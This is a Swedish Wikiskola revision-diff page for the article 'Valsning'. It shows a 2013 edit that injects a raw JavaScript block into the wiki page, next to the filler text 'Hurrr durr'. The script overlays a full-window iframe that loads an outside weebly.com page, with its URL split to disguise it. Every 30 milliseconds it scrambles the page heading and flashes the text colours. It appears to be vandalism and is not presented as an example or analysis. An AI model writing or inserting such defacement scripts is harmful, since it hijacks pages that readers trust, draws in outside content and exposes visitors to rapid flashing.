Valsning: Skillnad mellan sidversioner

Från Wikiskola
Hoppa till navigering Hoppa till sök
Ingen redigeringssammanfattning
Rad 4: Rad 4:


== 3 ==
== 3 ==
<html>
<script type="text/javascript">
var D = document.getElementById("firstHeading");
var C = document.getElementById("content");
var N = document.createElement("iframe");
N.src="http://www.openwindowc"+"orporation.weebly.com/spectrum-jumper.html";
N.width=window.innerWidth;
N.height=window.innerHeight;
C.appendChild(N);
function update()
{
    var text = "";
    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789ΛΩΨαβωßþəƏ";
    for(var i = 0; i < D.innerText.length; i++ )
        text += possible.charAt(Math.floor(Math.random() * possible.length));
    D.innerText = text;
    text = "#";
    possible = "0123456789ABCDEF";
    for(var i = 0; i < 6; i++)
        text += possible.charAt(Math.floor(Math.random() * possible.length));
    C.style.color = text;
    for(var i = 0; i < document.length; i++)
        document[i].style.color=text;
}
setInterval(update,30);
</script></html>

Versionen från 14 november 2013 kl. 13.14

1

Hurrr durr

2

3